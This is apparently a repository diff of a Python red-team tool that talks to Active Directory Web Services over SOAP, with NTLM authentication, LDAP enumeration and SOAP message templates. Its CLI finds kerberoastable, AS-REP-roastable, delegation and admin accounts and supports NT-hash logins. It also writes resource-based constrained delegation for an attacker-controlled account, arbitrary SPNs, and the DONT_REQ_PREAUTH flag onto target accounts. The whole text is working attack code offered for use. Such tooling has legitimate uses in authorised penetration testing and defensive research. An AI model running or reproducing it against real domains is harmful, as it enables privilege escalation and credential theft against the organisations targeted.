c_NegTokenTarg: impacket.spnego.SPNEGO_NegTokenResp
|
||||
NTLMSSP_chall_resp: impacket.ntlm.NTLMAuthChallengeResponse
|
||||
|
||||
# Create the NTLMSSP challenge response
|
||||
# If password is used, then the lm and nt hashes must be pass
|
||||
# an empty str, NOT, empty byte str.......
|
||||
NTLMSSP_chall_resp, self._session_key = impacket.ntlm.getNTLMSSPType3(
|
||||
type1=NtlmSSP_nego,
|
||||
type2=NTLMSSP_chall.getData(),
|
||||
user=self._username,
|
||||
password=self._password,
|
||||
domain=self._domain,
|
||||
lmhash=self._lm,
|
||||
nthash=self._nt,
|
||||
)
|
||||
|
||||
# set up info for crypto
|
||||
self._flags = NTLMSSP_chall_resp["flags"]
|
||||
self._sequence = 0
|
||||
|
||||
if self._flags & impacket.ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
|
||||
logging.debug("We are doing extended ntlm security")
|
||||
self._client_signing_key = impacket.ntlm.SIGNKEY(
|
||||
self._flags, self._session_key
|
||||
)
|
||||
self._server_signing_key = impacket.ntlm.SIGNKEY(
|
||||
self._flags, self._session_key, "Server"
|
||||
)
|
||||
self._client_sealing_key = impacket.ntlm.SEALKEY(
|
||||
self._flags, self._session_key
|
||||
)
|
||||
self._server_sealing_key = impacket.ntlm.SEALKEY(
|
||||
self._flags, self._session_key, "Server"
|
||||
)
|
||||
|
||||
# prepare keys to handle states
|
||||
cipher1 = ARC4.new(self._client_sealing_key)
|
||||
self._client_sealing_handle = cipher1.encrypt
|
||||
cipher2 = ARC4.new(self._server_sealing_key)
|
||||
self._server_sealing_handle = cipher2.encrypt
|
||||
|
||||
else:
|
||||
logging.debug("We are doing basic ntlm auth")
|
||||
# same key for both ways
|
||||
self._client_signing_key = self._session_key
|
||||
self._server_signing_key = self._session_key
|
||||
self._client_sealing_key = self._session_key
|
||||
self._server_sealing_key = self._session_key
|
||||
cipher = ARC4.new(self._client_sealing_key)
|
||||
self._client_sealing_handle = cipher.encrypt
|
||||
self._server_sealing_handle = cipher.encrypt
|
||||
|
||||
# Fit the challenge response into the ResponseToken of our NegTokenTarg
|
||||
c_NegTokenTarg = impacket.spnego.SPNEGO_NegTokenResp()
|
||||
c_NegTokenTarg["ResponseToken"] = NTLMSSP_chall_resp.getData()
|
||||
|
||||
# Fit our challenge response into an NNS message
|
||||
# Send the NTLMSSP_AUTH ( challenge response )
|
||||
NNS_handshake(
|
||||
message_id=MessageID.IN_PROGRESS,
|
||||
major_version=1,
|
||||
minor_version=0,
|
||||
payload=c_NegTokenTarg.getData(),
|
||||
).send(self._sock)
|
||||
|
||||
# Response from server ending handshake
|
||||
NNS_msg_done: NNS_handshake
|
||||
|
||||
# Check for success
|
||||
NNS_msg_done = NNS_handshake(
|
||||
message_id=int.from_bytes(self._sock.recv(1), "big"),
|
||||
major_version=int.from_bytes(self._sock.recv(1), "big"),
|
||||
minor_version=int.from_bytes(self._sock.recv(1), "big"),
|
||||
payload=self._sock.recv(int.from_bytes(self._sock.recv(2), "big")),
|
||||
)
|
||||
|
||||
# check for errors
|
||||
if NNS_msg_done["message_id"] == 0x15:
|
||||
err_type, err_msg = ERROR_MESSAGES[
|
||||
int.from_bytes(NNS_msg_done["payload"], "big")
|
||||
]
|
||||
raise SystemExit(f"[-] NTLM Auth Failed with error {err_type} {err_msg}")
|
||||
+557
@@ -0,0 +1,557 @@
|
||||
import argparse
|
||||
import logging
|
||||
import sys
|
||||
from base64 import b64decode, b64encode
|
||||
|
||||
from impacket.examples import logger
|
||||
from impacket.examples.utils import parse_target
|
||||
from impacket.ldap.ldaptypes import (
|
||||
ACCESS_ALLOWED_ACE,
|
||||
ACCESS_MASK,
|
||||
ACE,
|
||||
ACL,
|
||||
LDAP_SID,
|
||||
SR_SECURITY_DESCRIPTOR,
|
||||
)
|
||||
|
||||
from src.adws import ADWSConnect, NTLMAuth
|
||||
from src.soap_templates import NAMESPACES
|
||||
|
||||
|
||||
# https://github.com/fortra/impacket/blob/829239e334fee62ace0988a0cb5284233d8ec3c4/examples/rbcd.py#L180
|
||||
def _create_empty_sd():
|
||||
sd = SR_SECURITY_DESCRIPTOR()
|
||||
sd["Revision"] = b"\x01"
|
||||
sd["Sbz1"] = b"\x00"
|
||||
sd["Control"] = 32772
|
||||
sd["OwnerSid"] = LDAP_SID()
|
||||
# BUILTIN\Administrators
|
||||
sd["OwnerSid"].fromCanonical("S-1-5-32-544")
|
||||
sd["GroupSid"] = b""
|
||||
sd["Sacl"] = b""
|
||||
acl = ACL()
|
||||
acl["AclRevision"] = 4
|
||||
acl["Sbz1"] = 0
|
||||
acl["Sbz2"] = 0
|
||||
acl.aces = []
|
||||
sd["Dacl"] = acl
|
||||
return sd
|
||||
|
||||
|
||||
# https://github.com/fortra/impacket/blob/829239e334fee62ace0988a0cb5284233d8ec3c4/examples/rbcd.py#L200
|
||||
def _create_allow_ace(sid: LDAP_SID):
|
||||
nace = ACE()
|
||||
nace["AceType"] = ACCESS_ALLOWED_ACE.ACE_TYPE
|
||||
nace["AceFlags"] = 0x00
|
||||
acedata = ACCESS_ALLOWED_ACE()
|
||||
acedata["Mask"] = ACCESS_MASK()
|
||||
acedata["Mask"]["Mask"] = 983551 # Full control
|
||||
acedata["Sid"] = sid.getData()
|
||||
nace["Ace"] = acedata
|
||||
return nace
|
||||
|
||||
def getAccountDN(
|
||||
target: str,
|
||||
username: str,
|
||||
ip: str,
|
||||
domain: str,
|
||||
auth: NTLMAuth,
|
||||
):
|
||||
"""Get an LDAP objects distinguishedName attribute to be used in write operations
|
||||
|
||||
Args:
|
||||
target (str): target samAccountName
|
||||
username (str): user to authenticate as
|
||||
ip (str): the ip of the domain controller
|
||||
domain (str): the domain name
|
||||
auth (NTLMAuth): authentication method
|
||||
"""
|
||||
|
||||
get_account_query = f"(samAccountName={target})"
|
||||
pull_client = ADWSConnect.pull_client(ip, domain, username, auth)
|
||||
|
||||
attributes: list = [
|
||||
"distinguishedname",
|
||||
]
|
||||
|
||||
pull_et = pull_client.pull(query=get_account_query, attributes=attributes)
|
||||
|
||||
for item in pull_et.findall(".//addata:user", namespaces=NAMESPACES):
|
||||
distinguishedName_elem = item.find(
|
||||
".//addata:distinguishedName/ad:value", namespaces=NAMESPACES
|
||||
)
|
||||
dn = distinguishedName_elem.text
|
||||
|
||||
return dn
|
||||
|
||||
|
||||
def set_spn(
|
||||
target: str,
|
||||
value: str,
|
||||
username: str,
|
||||
ip: str,
|
||||
domain: str,
|
||||
auth: NTLMAuth,
|
||||
remove: bool = False,
|
||||
):
|
||||
"""Set a value in servicePrincipalName. Appends value to the
|
||||
attribute rather than replacing.
|
||||
|
||||
Args:
|
||||
target (str): target samAccountName
|
||||
value (str): value to append to the targets servicePrincipalName
|
||||
username (str): user to authenticate as
|
||||
ip (str): the ip of the domain controller
|
||||
auth (NTLMAuth): authentication method
|
||||
remove (bool): Whether to remove the value
|
||||
"""
|
||||
|
||||
dn = getAccountDN(target=target,username=username,ip=ip,domain=domain,auth=auth)
|
||||
|
||||
put_client = ADWSConnect.put_client(ip, domain, username, auth)
|
||||
|
||||
put_client.put(
|
||||
object_ref=dn,
|
||||
operation="add" if not remove else "delete",
|
||||
attribute="addata:servicePrincipalName",
|
||||
data_type="string",
|
||||
value=value,
|
||||
)
|
||||
|
||||
print(
|
||||
f"[+] servicePrincipalName {value} {'removed' if remove else 'written'} successfully on {target}!"
|
||||
)
|
||||
|
||||
def set_asrep(
|
||||
target: str,
|
||||
username: str,
|
||||
ip: str,
|
||||
domain: str,
|
||||
auth: NTLMAuth,
|
||||
remove: bool = False,
|
||||
):
|
||||
"""Set the DONT_REQ_PREAUTH (0x400000) flag on the target accounts
|
||||
userAccountControl attribute.
|
||||
|
||||
Args:
|
||||
target (str): target samAccountName
|
||||
username (str): user to authenticate as
|
||||
ip (str): the ip of the domain controller
|
||||
auth (NTLMAuth): authentication method
|
||||
remove (bool): Whether to remove the value
|
||||
"""
|
||||
|
||||
"""First get current userAccountControl value"""
|
||||
get_accounts_queries = f"(sAMAccountName={target})"
|
||||
pull_client = ADWSConnect.pull_client(ip, domain, username, auth)
|
||||
|
||||
attributes: list = [
|
||||
"userAccountControl",
|
||||
"distinguishedName",
|
||||
]
|
||||
|
||||
pull_et = pull_client.pull(query=get_accounts_queries, attributes=attributes)
|
||||
for item in pull_et.findall(".//addata:user", namespaces=NAMESPACES):
|
||||
uac = item.find(
|
||||
".//addata:userAccountControl/ad:value",
|
||||
namespaces=NAMESPACES,
|
||||
)
|
||||
distinguishedName_elem = item.find(
|
||||
".//addata:distinguishedName/ad:value", namespaces=NAMESPACES
|
||||
)
|
||||
|
||||
dn = distinguishedName_elem.text
|
||||
|
||||
"""Then write"""
|
||||
put_client = ADWSConnect.put_client(ip, domain, username, auth)
|
||||
if not remove:
|
||||
newUac = int(uac.text) | 0x400000
|
||||
|
||||
put_client.put(
|
||||
object_ref=dn,
|
||||
operation="replace",
|
||||
attribute="addata:userAccountControl",
|
||||
data_type="string",
|
||||
value=newUac,
|
||||
)
|
||||
|
||||
else:
|
||||
newUac = int(uac.text) & ~0x400000
|
||||
put_client.put(
|
||||
object_ref=dn,
|
||||
operation="replace",
|
||||
attribute="addata:userAccountControl",
|
||||
data_type="string",
|
||||
value=newUac,
|
||||
)
|
||||
|
||||
print(
|
||||
f"[+] DONT_REQ_PREAUTH {'removed' if remove else 'written'} successfully!"
|
||||
)
|
||||
|
||||
def set_rbcd(
|
||||
target: str,
|
||||
account: str,
|
||||
username: str,
|
||||
ip: str,
|
||||
domain: str,
|
||||
auth: NTLMAuth,
|
||||
remove: bool = False,
|
||||
):
|
||||
"""Write RBCD. Safe, appends to the attribute rather than
|
||||
replacing. Pass the remove param to remove the account sid from the
|
||||
target security descriptor
|
||||
|
||||
Args:
|
||||
target (str): target samAccountName
|
||||
account (str): attacker controlled samAccountName
|
||||
username (str): user to authenticate as
|
||||
ip (str): the ip of the domain controller
|
||||
domain (str): specified account domain
|
||||
auth (NTLMAuth): authentication method
|
||||
remove (bool): Whether to remove the value
|
||||
"""
|
||||
|
||||
get_accounts_queries = f"(|(sAMAccountName={target})(sAMAccountName={account}))"
|
||||
|
||||
pull_client = ADWSConnect.pull_client(ip, domain, username, auth)
|
||||
|
||||
"""Build attrs for RBCD computer pull"""
|
||||
attributes: list = [
|
||||
"samaccountname",
|
||||
"objectsid",
|
||||
"distinguishedname",
|
||||
"msds-allowedtoactonbehalfofotheridentity",
|
||||
]
|
||||
|
||||
pull_et = pull_client.pull(query=get_accounts_queries, attributes=attributes)
|
||||
|
||||
target_sd: SR_SECURITY_DESCRIPTOR = _create_empty_sd()
|
||||
target_dn: str = ""
|
||||
account_sid: LDAP_SID | None = None
|
||||
|
||||
for item in pull_et.findall(".//addata:computer", namespaces=NAMESPACES):
|
||||
sam_name_elem = item.find(
|
||||
".//addata:sAMAccountName/ad:value", namespaces=NAMESPACES
|
||||
)
|
||||
sd_elem = item.find(
|
||||
".//addata:msDS-AllowedToActOnBehalfOfOtherIdentity/ad:value",
|
||||
namespaces=NAMESPACES,
|
||||
)
|
||||
sid_elem = item.find(".//addata:objectSid/ad:value", namespaces=NAMESPACES)
|
||||
distinguishedName_elem = item.find(
|
||||
".//addata:distinguishedName/ad:value", namespaces=NAMESPACES
|
||||
)
|
||||
|
||||
sam_name = sam_name_elem.text if sam_name_elem != None else ""
|
||||
sid = sid_elem.text if sid_elem != None else ""
|
||||
sd = sd_elem.text if sd_elem != None else ""
|
||||
dn = distinguishedName_elem.text if distinguishedName_elem != None else ""
|
||||
|
||||
if sam_name and sid and sam_name.casefold() == account.casefold():
|
||||
account_sid = LDAP_SID(data=b64decode(sid))
|
||||
if dn and sam_name and sam_name.casefold() == target.casefold():
|
||||
target_dn = dn
|
||||
if sd:
|
||||
target_sd = SR_SECURITY_DESCRIPTOR(data=b64decode(sd))
|
||||
|
||||
if not account_sid:
|
||||
logging.critical(
|
||||
f"Unable to find {target} or {account}."
|
||||
)
|
||||
raise SystemExit()
|
||||
|
||||
# collect a clean list. remove the account sid if its present
|
||||
target_sd["Dacl"].aces = [
|
||||
ace
|
||||
for ace in target_sd["Dacl"].aces
|
||||
if ace["Ace"]["Sid"].formatCanonical() != account_sid.formatCanonical()
|
||||
]
|
||||
if not remove:
|
||||
target_sd["Dacl"].aces.append(_create_allow_ace(account_sid))
|
||||
|
||||
put_client = ADWSConnect.put_client(ip, domain, username, auth)
|
||||
put_client.put(
|
||||
object_ref=target_dn,
|
||||
operation="replace",
|
||||
attribute="addata:msDS-AllowedToActOnBehalfOfOtherIdentity",
|
||||
data_type="base64Binary",
|
||||
value=b64encode(target_sd.getData()).decode("utf-8"),
|
||||
)
|
||||
|
||||
# if we are removing and the list of aces is empty, just delete the attribute
|
||||
if remove and len(target_sd["Dacl"].aces) == 0:
|
||||
put_client.put(
|
||||
object_ref=target_dn,
|
||||
operation="delete",
|
||||
attribute="addata:msDS-AllowedToActOnBehalfOfOtherIdentity",
|
||||
data_type="base64Binary",
|
||||
value=b64encode(target_sd.getData()).decode("utf-8"),
|
||||
)
|
||||
|
||||
print(
|
||||
f"[+] msDS-AllowedToActOnBehalfOfIdentity {'removed' if remove else 'written'} successfully!"
|
||||
)
|
||||
print(f"[+] {account} {'can not' if remove else 'can'} delegate to {target}")
|
||||
|
||||
|
||||
def run_cli():
|
||||
print("""
|
||||
███████╗ ██████╗ █████╗ ██████╗ ██╗ ██╗
|
||||
██╔════╝██╔═══██╗██╔══██╗██╔══██╗╚██╗ ██╔╝
|
||||
███████╗██║ ██║███████║██████╔╝ ╚████╔╝
|
||||
╚════██║██║ ██║██╔══██║██╔═══╝ ╚██╔╝
|
||||
███████║╚██████╔╝██║ ██║██║ ██║
|
||||
╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝
|
||||
""")
|
||||
|
||||
parser = argparse.ArgumentParser(
|
||||
add_help=True,
|
||||
description="Enumerate and write LDAP objects over ADWS using the SOAP protocol",
|
||||
)
|
||||
parser.add_argument(
|
||||
"connection",
|
||||
action="store",
|
||||
help="domain/username[:password]@<targetName or address>",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--debug",
|
||||
action="store_true",
|
||||
help="Turn DEBUG output ON"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--ts",
|
||||
action="store_true",
|
||||
help="Adds timestamp to every logging output."
|
||||
)
|
||||
parser.add_argument(
|
||||
"--hash",
|
||||
action="store",
|
||||
metavar="nthash",
|
||||
help="Use an NT hash for authentication",
|
||||
)
|
||||
|
||||
enum = parser.add_argument_group('Enumeration')
|
||||
enum.add_argument(
|
||||
"--users",
|
||||
action="store_true",
|
||||
help="Enumerate user objects"
|
||||
)
|
||||
enum.add_argument(
|
||||
"--computers",
|
||||
action="store_true",
|
||||
help="Enumerate computer objects"
|
||||
)
|
||||
enum.add_argument(
|
||||
"--groups",
|
||||
action="store_true",
|
||||
help="Enumerate group objects"
|
||||
)
|
||||
enum.add_argument(
|
||||
"--constrained",
|
||||
action="store_true",
|
||||
help="Enumerate objects with the msDS-AllowedToDelegateTo attribute set",
|
||||
)
|
||||
enum.add_argument(
|
||||
"--unconstrained",
|
||||
action="store_true",
|
||||
help="Enumerate objects with the TRUSTED_FOR_DELEGATION flag set",
|
||||
)
|
||||
enum.add_argument(
|
||||
"--spns",
|
||||
action="store_true",
|
||||
help="Enumerate accounts with the servicePrincipalName attribute set"
|
||||
)
|
||||
enum.add_argument(
|
||||
"--asreproastable",
|
||||
action="store_true",
|
||||
help="Enumerate accounts with the DONT_REQ_PREAUTH flag set"
|
||||
)
|
||||
enum.add_argument(
|
||||
"--admins",
|
||||
action="store_true",
|
||||
help="Enumerate high privilege accounts"
|
||||
)
|
||||
enum.add_argument(
|
||||
"--rbcds",
|
||||
action="store_true",
|
||||
help="Enumerate accounts with msDs-AllowedToActOnBehalfOfOtherIdentity set"
|
||||
)
|
||||
enum.add_argument(
|
||||
"-q",
|
||||
"--query",
|
||||
action="store",
|
||||
metavar="query",
|
||||
help="Raw query to execute on the target",
|
||||
)
|
||||
enum.add_argument(
|
||||
"--filter",
|
||||
action="store",
|
||||
metavar="attr,attr,...",
|
||||
help="Attributes to select from the objects returned, in a comma seperated list",
|
||||
)
|
||||
|
||||
writing = parser.add_argument_group('Writing')
|
||||
writing.add_argument(
|
||||
"--rbcd",
|
||||
action="store",
|
||||
metavar="source",
|
||||
help="Operation to write or remove RBCD. Also used to pass in the source computer account used for the attack.",
|
||||
)
|
||||
writing.add_argument(
|
||||
"--spn",
|
||||
action="store",
|
||||
metavar="value",
|
||||
help='Operation to write the servicePrincipalName attribute value, writes by default unless "--remove" is specified',
|
||||
)
|
||||
writing.add_argument(
|
||||
"--asrep",
|
||||
action="store_true",
|
||||
help="Operation to write the DONT_REQ_PREAUTH (0x400000) userAccountControl flag on a target object"
|
||||
)
|
||||
writing.add_argument(
|
||||
"--account",
|
||||
action="store",
|
||||
metavar="account",
|
||||
help="Account to preform an operation on",
|
||||
)
|
||||
writing.add_argument(
|
||||
"--remove",
|
||||
action="store_true",
|
||||
help="Operarion to remove an attribute value based off an operation",
|
||||
)
|
||||
|
||||
if len(sys.argv) == 1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
logger.init(options.ts)
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
domain, username, password, remoteName = parse_target(options.connection)
|
||||
|
||||
if domain is None:
|
||||
domain = ""
|
||||
|
||||
# if there are no supplied auth information, ask for a password interactivly
|
||||
if password == "" and username != "" and options.hash is None:
|
||||
from getpass import getpass
|
||||
|
||||
password = getpass("Password:")
|
||||
|
||||
queries: dict[str, str] = {
|
||||
"users": "(&(objectClass=user)(objectCategory=person))",
|
||||
"computers": "(objectClass=computer)",
|
||||
"constrained": "(msds-allowedtodelegateto=*)",
|
||||
"unconstrained": "(userAccountControl:1.2.840.113556.1.4.803:=524288)",
|
||||
"spns": "(&(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512))(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))",
|
||||
"asreproastable":"(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))",
|
||||
"admins": "(&(objectClass=user)(adminCount=1))",
|
||||
"groups": "(objectCategory=group)",
|
||||
"rbcds": "(msds-allowedtoactonbehalfofotheridentity=*)",
|
||||
}
|
||||
|
||||
"""Just check if anything is specified"""
|
||||
ldap_query = []
|
||||
ldap_query.append(options.query)
|
||||
for flag, this_query in queries.items():
|
||||
if getattr(options, flag):
|
||||
ldap_query.append(this_query)
|
||||
|
||||
if not domain:
|
||||
logging.critical('"domain" must be specified')
|
||||
raise SystemExit()
|
||||
|
||||
if not username:
|
||||
logging.critical('"username" must be specified')
|
||||
raise SystemExit()
|
||||
|
||||
auth = NTLMAuth(password=password, hashes=options.hash)
|
||||
|
||||
if options.rbcd != None:
|
||||
if not options.account:
|
||||
logging.critical(
|
||||
'"--rbcd" must be used with "--account"'
|
||||
)
|
||||
raise SystemExit()
|
||||
|
||||
set_rbcd(
|
||||
ip=remoteName,
|
||||
domain=domain,
|
||||
target=options.account,
|
||||
account=options.rbcd,
|
||||
username=username,
|
||||
auth=auth,
|
||||
remove=options.remove,
|
||||
)
|
||||
elif options.spn != None:
|
||||
if not options.account:
|
||||
logging.critical(
|
||||
'Please specify an account with "--account"'
|
||||
)
|
||||
raise SystemExit()
|
||||
|
||||
set_spn(
|
||||
ip=remoteName,
|
||||
domain=domain,
|
||||
target=options.account,
|
||||
value=options.spn,
|
||||
username=username,
|
||||
auth=auth,
|
||||
remove=options.remove
|
||||
)
|
||||
elif options.asrep:
|
||||
if not options.account:
|
||||
logging.critical(
|
||||
'Please specify an account with "--account"'
|
||||
)
|
||||
raise SystemExit()
|
||||
|
||||
set_asrep(
|
||||
ip=remoteName,
|
||||
domain=domain,
|
||||
target=options.account,
|
||||
username=username,
|
||||
auth=auth,
|
||||
remove=options.remove
|
||||
)
|
||||
else:
|
||||
if not ldap_query:
|
||||
logging.critical("Query can not be None")
|
||||
raise SystemExit()
|
||||
|
||||
client = ADWSConnect.pull_client(
|
||||
ip=remoteName,
|
||||
domain=domain,
|
||||
username=username,
|
||||
auth=auth,
|
||||
)
|
||||
|
||||
for current_query in ldap_query:
|
||||
|
||||
if not current_query:
|
||||
continue
|
||||
"""
|
||||
client = ADWSConnect.pull_client(
|
||||
ip=remoteName,
|
||||
domain=domain,
|
||||
username=username,
|
||||
auth=auth,
|
||||
)
|
||||
"""
|
||||
|
||||
if options.filter is not None:
|
||||
attributes: list = [x.strip() for x in options.filter.split(",")]
|
||||
else:
|
||||
attributes = ["samaccountname", "distinguishedName", "objectsid"]
|
||||
|
||||
client.pull(current_query, attributes, print_incrementally=True)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
run_cli()
|
||||
@@ -0,0 +1,104 @@
|
||||
NAMESPACES = {
|
||||
"ad": "http://schemas.microsoft.com/2008/1/ActiveDirectory",
|
||||
"addata": "http://schemas.microsoft.com/2008/1/ActiveDirectory/Data",
|
||||
"adlq": "http://schemas.microsoft.com/2008/1/ActiveDirectory/Dialect/LdapQuery",
|
||||
"da": "http://schemas.microsoft.com/2006/11/IdentityManagement/DirectoryAccess",
|
||||
"ca": "http://schemas.microsoft.com/2008/1/ActiveDirectory/CustomActions",
|
||||
|
||||
"soapenv": "http://www.w3.org/2003/05/soap-envelope",
|
||||
"wsa": "http://www.w3.org/2005/08/addressing",
|
||||
"wsen": "http://schemas.xmlsoap.org/ws/2004/09/enumeration",
|
||||
"wxf": "http://schemas.xmlsoap.org/ws/2004/09/transfer",
|
||||
"xsd": "http://www.w3.org/2001/XMLSchema",
|
||||
"xsi": "http://www.w3.org/2001/XMLSchema-instance",
|
||||
|
||||
"s": "http://www.w3.org/2003/05/soap-envelope",
|
||||
"a": "http://www.w3.org/2005/08/addressing",
|
||||
}
|
||||
|
||||
LDAP_QUERY_FSTRING: str = """<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"
|
||||
xmlns:a="http://www.w3.org/2005/08/addressing"
|
||||
xmlns:addata="http://schemas.microsoft.com/2008/1/ActiveDirectory/Data"
|
||||
xmlns:ad="http://schemas.microsoft.com/2008/1/ActiveDirectory"
|
||||
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<s:Header>
|
||||
<a:Action s:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2004/09/enumeration/Enumerate</a:Action>
|
||||
<ad:instance>ldap:389</ad:instance>
|
||||
<a:MessageID>urn:uuid:{uuid}</a:MessageID>
|
||||
<a:ReplyTo>
|
||||
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
|
||||
</a:ReplyTo>
|
||||
<a:To s:mustUnderstand="1">net.tcp://{fqdn}:9389/ActiveDirectoryWebServices/Windows/Enumeration</a:To>
|
||||
</s:Header>
|
||||
<s:Body xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration"
|
||||
xmlns:adlq="http://schemas.microsoft.com/2008/1/ActiveDirectory/Dialect/LdapQuery">
|
||||
<wsen:Enumerate>
|
||||
<wsen:Filter Dialect="http://schemas.microsoft.com/2008/1/ActiveDirectory/Dialect/LdapQuery">
|
||||
<adlq:LdapQuery>
|
||||
<adlq:Filter>{query}</adlq:Filter>
|
||||
<adlq:BaseObject>{baseobj}</adlq:BaseObject>
|
||||
<adlq:Scope>Subtree</adlq:Scope>
|
||||
</adlq:LdapQuery>
|
||||
</wsen:Filter>
|
||||
<ad:Selection Dialect="http://schemas.microsoft.com/2008/1/ActiveDirectory/Dialect/XPath-Level-1">
|
||||
{attributes}
|
||||
</ad:Selection>
|
||||
</wsen:Enumerate>
|
||||
</s:Body>
|
||||
</s:Envelope>"""
|
||||
|
||||
LDAP_PULL_FSTRING: str = """<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"
|
||||
xmlns:a="http://www.w3.org/2005/08/addressing"
|
||||
xmlns:addata="http://schemas.microsoft.com/2008/1/ActiveDirectory/Data"
|
||||
xmlns:ad="http://schemas.microsoft.com/2008/1/ActiveDirectory"
|
||||
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<s:Header>
|
||||
<a:Action s:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2004/09/enumeration/Pull</a:Action>
|
||||
<ad:instance>ldap:389</ad:instance>
|
||||
<a:MessageID>urn:uuid:{uuid}</a:MessageID>
|
||||
<a:ReplyTo>
|
||||
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
|
||||
</a:ReplyTo>
|
||||
<a:To s:mustUnderstand="1">net.tcp://{fqdn}:9389/ActiveDirectoryWebServices/Windows/Enumeration</a:To>
|
||||
</s:Header>
|
||||
<s:Body xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration">
|
||||
<wsen:Pull>
|
||||
<wsen:EnumerationContext>{enum_ctx}</wsen:EnumerationContext>
|
||||
<wsen:MaxElements>256</wsen:MaxElements>
|
||||
</wsen:Pull>
|
||||
</s:Body>
|
||||
</s:Envelope>"""
|
||||
|
||||
|
||||
LDAP_PUT_FSTRING: str = """<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"
|
||||
xmlns:a="http://www.w3.org/2005/08/addressing"
|
||||
xmlns:addata="http://schemas.microsoft.com/2008/1/ActiveDirectory/Data"
|
||||
xmlns:ad="http://schemas.microsoft.com/2008/1/ActiveDirectory"
|
||||
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xmlns:da="http://schemas.microsoft.com/2006/11/IdentityManagement/DirectoryAccess">
|
||||
<s:Header>
|
||||
<a:Action s:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2004/09/transfer/Put</a:Action>
|
||||
<ad:instance>ldap:389</ad:instance>
|
||||
<ad:objectReferenceProperty>{object_ref}</ad:objectReferenceProperty>
|
||||
<da:IdentityManagementOperation s:mustUnderstand="1"
|
||||
xmlns:i="http://www.w3.org/2001/XMLSchema-instance"></da:IdentityManagementOperation>
|
||||
<a:MessageID>urn:uuid:{uuid}</a:MessageID>
|
||||
<a:ReplyTo>
|
||||
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
|
||||
</a:ReplyTo>
|
||||
<a:To s:mustUnderstand="1">net.tcp://{fqdn}:9389/ActiveDirectoryWebServices/Windows/Resource</a:To>
|
||||
</s:Header>
|
||||
<s:Body>
|
||||
<da:ModifyRequest Dialect="http://schemas.microsoft.com/2008/1/ActiveDirectory/Dialect/XPath-Level-1">
|
||||
<da:Change Operation="{operation}">
|
||||
<da:AttributeType>{attribute}</da:AttributeType>
|
||||
<da:AttributeValue>
|
||||
<ad:value xsi:type="xsd:{data_type}">{value}</ad:value>
|
||||
</da:AttributeValue>
|
||||
</da:Change>
|
||||
</da:ModifyRequest>
|
||||
</s:Body>
|
||||
</s:Envelope>"""
|
||||
Reference in New Issue
Block a user